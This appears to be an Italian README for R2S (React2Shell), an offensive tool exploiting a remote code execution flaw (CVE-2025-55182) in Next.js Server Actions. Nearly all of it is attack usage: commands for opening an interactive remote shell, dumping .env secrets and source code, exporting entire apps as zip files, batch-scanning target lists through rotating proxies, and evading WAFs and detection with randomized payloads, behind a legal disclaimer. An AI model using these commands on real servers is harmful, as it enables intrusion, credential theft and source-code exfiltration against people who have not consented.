
Strumento avanzato di test di sicurezza per la valutazione della vulnerabilità CVE-2025-55182 nelle applicazioni Next.js. Include shell interattiva, scansione batch, bypass WAF e reportistica completa.
Strumento avanzato di test di sfruttamento per la valutazione della vulnerabilità CVE-2025-55182
Caratteristiche • Installazione • Utilizzo • Ambiente di test • Legale
R2S (React2Shell) è uno strumento di test di sicurezza progettato per aiutare ricercatori di sicurezza, sviluppatori e penetration tester a valutare se le loro applicazioni Next.js sono vulnerabili a CVE-2025-55182.
CVE-2025-55182 è una vulnerabilità critica che colpisce le Server Actions di Next.js in determinate versioni (es. 16.0.5). Questa vulnerabilità consente agli aggressori di eseguire comandi arbitrari sul server attraverso Server Actions non adeguatamente protette, portando all'esecuzione di codice remoto (RCE).
R2S ti aiuta a verificare se la tua applicazione ha questo problema in modo che tu possa risolverlo prima che malintenzionati lo scoprano.
--windows)⚠️ AVVISO CRITICO: Il flag --windows può causare il FALLIMENTO nella determinazione della vulnerabilità se usato in modo errato.
--windows: Solo se sei sicuro al 100% che il server di destinazione sia Windows--windows su un server Linux, i comandi falliranno e lo strumento potrebbe segnalare "non vulnerabile" anche se il server è vulnerabile--windows a meno che tu non sappia che il target è WindowsEsempio:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
---
---
## ⚠️ Dichiarazione di non responsabilità legale
**IMPORTANTE: LEGGERE PRIMA DI USARE QUESTO STRUMENTO**
1. **Questo strumento è destinato ESCLUSIVAMENTE a test di sicurezza LEGITTIMI**
- ✅ Testare le proprie applicazioni
- ✅ Testare applicazioni per cui si ha ricevuta autorizzazione scritta
- ✅ Scopi educativi e ricerca sulla sicurezza
- ❌ **MAI usare su sistemi di cui non si è proprietari o per cui non si ha autorizzazione**
- ❌ **MAI usare per scopi malevoli**
2. **Usando questo strumento, dichiari di:**
- Utilizzarlo solo su sistemi di cui sei proprietario o per cui hai esplicita autorizzazione scritta
- Comprendere che l'accesso non autorizzato a sistemi informatici è illegale
- Accettare la piena responsabilità per le tue azioni
- Gli autori non sono responsabili per qualsiasi uso improprio di questo strumento
3. **Conseguenze legali:**
- L'accesso non autorizzato a sistemi informatici è un reato nella maggior parte dei paesi
- Potresti incorrere in accuse penali, multe e reclusione
- Ottieni sempre un'autorizzazione scritta prima di testare
4. **Questo strumento è fornito "COSÌ COM'È" senza alcuna garanzia**
**Se hai meno di 18 anni, assicurati di avere supervisione e autorizzazione di un adulto prima di utilizzare questo strumento.**
---
## ✨ Caratteristiche
### Capacità principali
- 🔍 **Rilevamento vulnerabilità** - Testa rapidamente se un server è vulnerabile a CVE-2025-55182
- 💻 **Shell interattiva** - Sessione shell interattiva completa su HTTPS con cronologia comandi
- 📁 **Operazioni sui file** - Elenca directory, legge file ed esporta file/archivi
- 🔐 **Estrazione segreti** - Tenta di leggere segreti delle applicazioni (file .env, file di configurazione)
- 📄 **Estrazione codice** - Tenta di leggere il codice sorgente dell'applicazione
- 🖥️ **Informazioni sistema** - Raccoglie informazioni SO, hostname, utente e variabili d'ambiente
### Funzionalità avanzate
- 🚀 **Payload di auto-riscaldamento** - Ottimizza automaticamente i payload per risultati migliori
- ⚡ **Esecuzione parallela** - Esegui più comandi simultaneamente
- 🎲 **Randomizzazione payload** - Evita il rilevamento con payload dinamici
- 🛠️ **Moduli di exploit** - Sistema di moduli stile Metasploit (env_dump, file_search, network_scan, process_list)
- 🔄 **Gestione reindirizzamenti** - Segue automaticamente i reindirizzamenti HTTP (301, 302, 303, 307, 308)
- 🎨 **Interfaccia grafica** - Output con codifica colore per una facile lettura
- 📊 **Reportistica completa** - Salvataggio automatico dei report in formato JSON, HTML, TXT con formattatori specifici per operazione
- ⚙️ **Sistema di configurazione** - Configurazione basata su JSON con pannello interattivo delle impostazioni
- 📦 **Funzionalità di esportazione** - Esporta singoli file o intere directory dell'app come archivi zip
- 🔒 **Bypass WAF** - Multiple tecniche di bypass (⚠️ Non garantito - vedi limitazioni sotto)
### Reportistica e logging
- 📝 **Salvataggio automatico report** - Salva automaticamente i report in `~/.r2s/reports/` con timestamp leggibili
- 📋 **Formati specifici per operazione** - Formati di report diversi per operazioni diverse (shell, test, segreti, ecc.)
- 📜 **Cronologia comandi** - Cronologia comandi persistente salvata in `~/.r2s/history`
- 🔍 **Trail di audit** - Log dettagliati di tutte le operazioni in `~/.r2s/logs/audit.log`
- 🎨 **Report HTML** - Belli report HTML con modalità chiara/scura, pulsanti di copia e blocchi di codice
---
## 📦 Installazione
### Opzione 1: Compilazione dal sorgente (Consigliata)
1. **Clona il repository:** ```bash
git clone https://github.com/zamdevio/r2s.git
cd r2s
pip install -r requirements.txt
python3 -m react2shell.main --help
r2s --help
---
## 🚀 Avvio Rapido
### Test di vulnerabilità di base```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ Importante: Non utilizzare --windows a meno che tu non sia certo che il target sia Windows. L'uso di --windows su un server Linux causerà falsi negativi (lo strumento potrebbe segnalare "non vulnerabile" anche se il server è vulnerabile).
Forniamo un ambiente di test sicuro su **https://r2s-arena.fly.dev**:```bash
r2s -u https://r2s-arena.fly.dev -t
### Testa Localmente
Vedi [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) per le istruzioni su come eseguire l'app vulnerabile localmente.
---
## 📚 Esempi di Utilizzo
### Riferimento Rapido ai Comandi
**Comandi più Comuni:**
- `r2s -u URL -t` - Test per vulnerabilità (il più comune)
- `r2s -u URL --shell` - Avvia shell interattiva
- `r2s --targets FILE -t` - Scansione batch di più target
- `r2s -u URL --system-info` - Ottieni informazioni di sistema
- `r2s -u URL --secrets` - Tenta di leggere i segreti
- `r2s -u URL --export-archive` - Esporta l'intera app come zip
**⚠️ Ricorda**: Non usare `--windows` a meno che il target non sia Windows!
---
### Operazioni di Base```bash
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
r2s -u http://localhost:3000 --shell
### Moduli Exploit```bash
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
r2s -u http://localhost:3000 --export src/app/page.tsx
r2s -u http://localhost:3000 --export-archive
r2s settings
### Segreti & Estrazione del codice```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
r2s --targets targets.txt -t
r2s --targets targets.txt --batch -t
r2s --targets targets.txt -t --rate 2
r2s --targets targets.txt -t --delay 1
r2s --targets targets.txt --batch -t --rate 1 --delay 2
### Opzioni Avanzate```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
### Registrazione & Audit```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
r2s settings
r2s cleanup
r2s uninstall
### Segnalazione```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
cd my-nextjs-app npm run dev
r2s -u http://localhost:3000 -t
### 2. Audit di sicurezza```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
Utilizza l'applicazione nextjs fornita per test sicuri e locali:```bash
cd nextjs
npm install
npm run dev
r2s -u http://localhost:3000 -t
Vedi [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) per istruzioni dettagliate.
---
## 🏗️ Architettura
R2S utilizza un'architettura modulare per manutenibilità ed estensibilità:```
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
Vedi react2shell/README.md per la documentazione dettagliata dell'architettura.
Forniamo un ambiente di test sicuro chiamato nextjs che puoi utilizzare per testare lo strumento senza rischiare sistemi reali.
Visita: https://r2s-arena.fly.dev
Questa è un'applicazione pubblicamente accessibile, intenzionalmente vulnerabile, solo per scopi di test.
Vedi nextjs/README.md per le istruzioni su come eseguirlo localmente.
⚠️ Importante: L'applicazione nextjs è intenzionalmente vulnerabile e NON DEVE MAI essere utilizzata in produzione o con dati reali.
| Comando | Descrizione |
|---|---|
--export FILE, --ex FILE | Esporta un singolo file dal target (salvato in ~/.r2s/exports/{domain}/) |
--export-archive | Esporta l'intera directory dell'app come archivio zip. Crea zip sul server, lo scarica, quindi lo elimina dal server. Esclude i pattern .gitignore. Salvato in ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip |
| Comando | Descrizione |
|---|---|
--module NAME | Esegue il modulo exploit |
--module-list, --list-modules | Elenca i moduli disponibili |
| Opzione | Descrizione |
|---|---|
--output FILE, -o FILE |
| Opzione | Descrizione |
|---|---|
--targets FILE | Scansiona più target da un file (un URL per riga, supporta commenti con #) |
--batch | Modalità batch: salta tutti i prompt interattivi, continua automaticamente (utile per automazione/script) |
| Comando | Descrizione |
|---|---|
r2s settings | Apre il pannello delle impostazioni interattivo |
r2s -u https://target.com -t --insecure
### "Errore di connessione"
- Verifica che il server sia in esecuzione
- Verifica che l'URL sia corretto
- Controlla le impostazioni del firewall
- Prova ad aumentare il timeout: `--timeout 30`
### "Richiesta bloccata"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ IMPORTANTE: Flag dei Comandi Windows
Se stai ottenendo falsi negativi (lo strumento dice "non vulnerabile" ma il target in realtà lo è), controlla:
Hai usato il flag --windows?
--windows fa sì che lo strumento usi comandi Windows (PowerShell, dir, ecc.)--windows farà FALLIRE lo strumento--windows (Unix/Linux è l'impostazione predefinita)Rilevamento della Piattaforma
--windows solo se sei sicuro al 100% che il target sia WindowsComando di Test
echo $((41*271))--windows, usa: powershell -c "41*271"Esempio del problema:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
### Limitazioni dell'elusione WAF
**⚠️ Importante:** Le tecniche di elusione WAF in questo strumento **NON sono garantite** e presentano diverse limitazioni:
- **Non universali**: WAF diversi utilizzano metodi di rilevamento differenti. Ciò che funziona per uno potrebbe non funzionare per un altro.
- **Rilevamento statico**: Alcuni WAF utilizzano il pattern matching statico che può essere eluso, ma i WAF moderni utilizzano l'analisi comportamentale.
- **Rate limiting**: Molti WAF implementano limiti di frequenza che possono bloccare tentativi ripetuti.
- **Apprendimento automatico**: I WAF avanzati utilizzano modelli di ML che si adattano e imparano dai pattern di attacco.
- **Cloudflare/AWS WAF**: I WAF di livello enterprise (Cloudflare, AWS WAF, ecc.) sono estremamente difficili da eludere.
- **Nessuna garanzia**: Le tecniche di elusione sono sperimentali e potrebbero fallire contro WAF ben configurati.
**Buone pratiche:**
- Utilizza l'elusione WAF come ultima risorsa
- Prova diverse strategie di header (`--header-strategy`)
- Combina con `--randomize` per ottenere risultati migliori
- Comprendi che alcuni target potrebbero essere impossibili da eludere
- Testa sempre su sistemi di tua proprietà o per cui hai autorizzazione
### Problemi di build```bash
# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
Per rimuovere in sicurezza tutti gli artefatti di build (directory di build, file di cache, ecc.):```bash ./build.sh cleanup
Questo rimuoverà:
- `build/` directory (file di build di PyInstaller)
- `dist/` directory (binari compilati)
- `__pycache__/` directories (cache Python, ricorsivamente)
- `*.pyc` files (bytecode Python compilato)
- `*.pyo` files (bytecode Python ottimizzato)
- `*.spec` files (file spec di PyInstaller)
**Nota:** Questo rimuove solo gli artefatti di build, non il tuo codice sorgente. La pulizia è sicura e chiederà conferma prima di procedere.
---
## 📁 Struttura dei File```
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
Contributi sono benvenuti! Per favore:
Ricorda: Contribuisci solo con codice che aiuti nei test di sicurezza legittimi.
Questo progetto è concesso in licenza MIT - consulta il file LICENSE per i dettagli.
Tuttavia, l'uso di questo strumento è soggetto alla clausola di esonero di responsabilità sopra. L'utilizzo di questo strumento per accessi non autorizzati è illegale e non coperto da questa licenza.
zamdevio
Questo strumento è SOLO per test di sicurezza e scopi educativi.
Rimani legale, rimani etico, rimani al sicuro! 🛡️
Realizzato con ❤️ per la comunità della sicurezza
| Comando | Descrizione |
|---|
-u, --url URL | URL di destinazione (richiesto per la maggior parte delle operazioni) |
-t, --test | Verifica se il server è vulnerabile |
-ld, --list-dir PATH | Elenca il contenuto della directory |
-rf, --read-file FILE | Legge il contenuto del file |
-si, --system-info | Ottiene informazioni di sistema |
-sr, --secrets | Tenta di leggere i segreti |
-c, --code | Tenta di leggere il codice sorgente |
-cmd, --command CMD | Esegue un comando personalizzato |
--shell | Avvia una shell interattiva |
--module-info NAME | Mostra le informazioni del modulo |
--set KEY=VALUE | Imposta opzione del modulo |
| Opzione | Descrizione |
|---|
--waf-bypass | Prova tecniche di bypass WAF (⚠️ Non garantito - vedi limitazioni sotto) |
--waf-bypass-size KB | Dimensione dei dati spazzatura per bypass WAF in KB (default: 128) |
--vercel-waf-bypass | Abilita tecniche di bypass WAF specifiche per Vercel |
--header-strategy STRATEGY | Strategia per gli header HTTP: default, chrome_latest, firefox, minimal, assetnote |
--parallel N | Esegue N comandi in parallelo (utile per comandi multipli) |
--auto-warm | Riscalda e ottimizza automaticamente i payload prima dell'esecuzione |
--randomize | Randomizza i payload per eludere il rilevamento statico |
--no-follow-redirects | Non seguire automaticamente i redirect HTTP (301, 302, ecc.) |
-k, --insecure | Disabilita la verifica del certificato SSL (usa con cautela) |
--timeout SECONDS | Timeout della richiesta in secondi (default: 10, usa 0 per nessun timeout) |
--windows | ⚠️ AVVISO: Usa comandi Windows invece di Unix/Linux. Questo può far fallire la determinazione della vulnerabilità se il target è effettivamente Unix/Linux. Usalo solo se sei certo che il target sia Windows. |
--rate RATE | Limita le richieste a RATE richieste al secondo (utile per scansioni batch) |
--delay SECONDS | Aggiunge un ritardo tra le richieste in secondi (aiuta a evitare il rate limiting) |
--batch | Modalità batch: salta tutti i prompt interattivi, continua automaticamente (utile per automazione) |
| Salva i risultati in un file specifico (disabilita il salvataggio automatico) |
--no-report | Disabilita il salvataggio automatico del report in ~/.r2s/reports/ |
--log FILE | Registra tutte le operazioni in un file specificato (log dettagliato delle operazioni) |
--audit | Crea un audit trail dettagliato (salvato in ~/.r2s/logs/audit.log) |
| Opzione | Descrizione |
|---|
--proxy URL | Usa proxy HTTP (formato: http://proxy:porta o http://utente:password@proxy:porta) |
--proxy-file FILE | Carica e ruota i proxy da un file (un proxy per riga, formato: http://proxy:porta) |
--rate RATE | Limita le richieste a RATE richieste al secondo (previene il sovraccarico del target) |
--delay SECONDS | Aggiunge un ritardo tra le richieste in secondi (aiuta a evitare il rate limiting) |
r2s cleanup| Elimina tutti i dati R2S (config, cronologia, log, report, esportazioni) |
r2s uninstall | Disinstalla il binario R2S e tutti i dati |
r2s help | Mostra il messaggio di aiuto |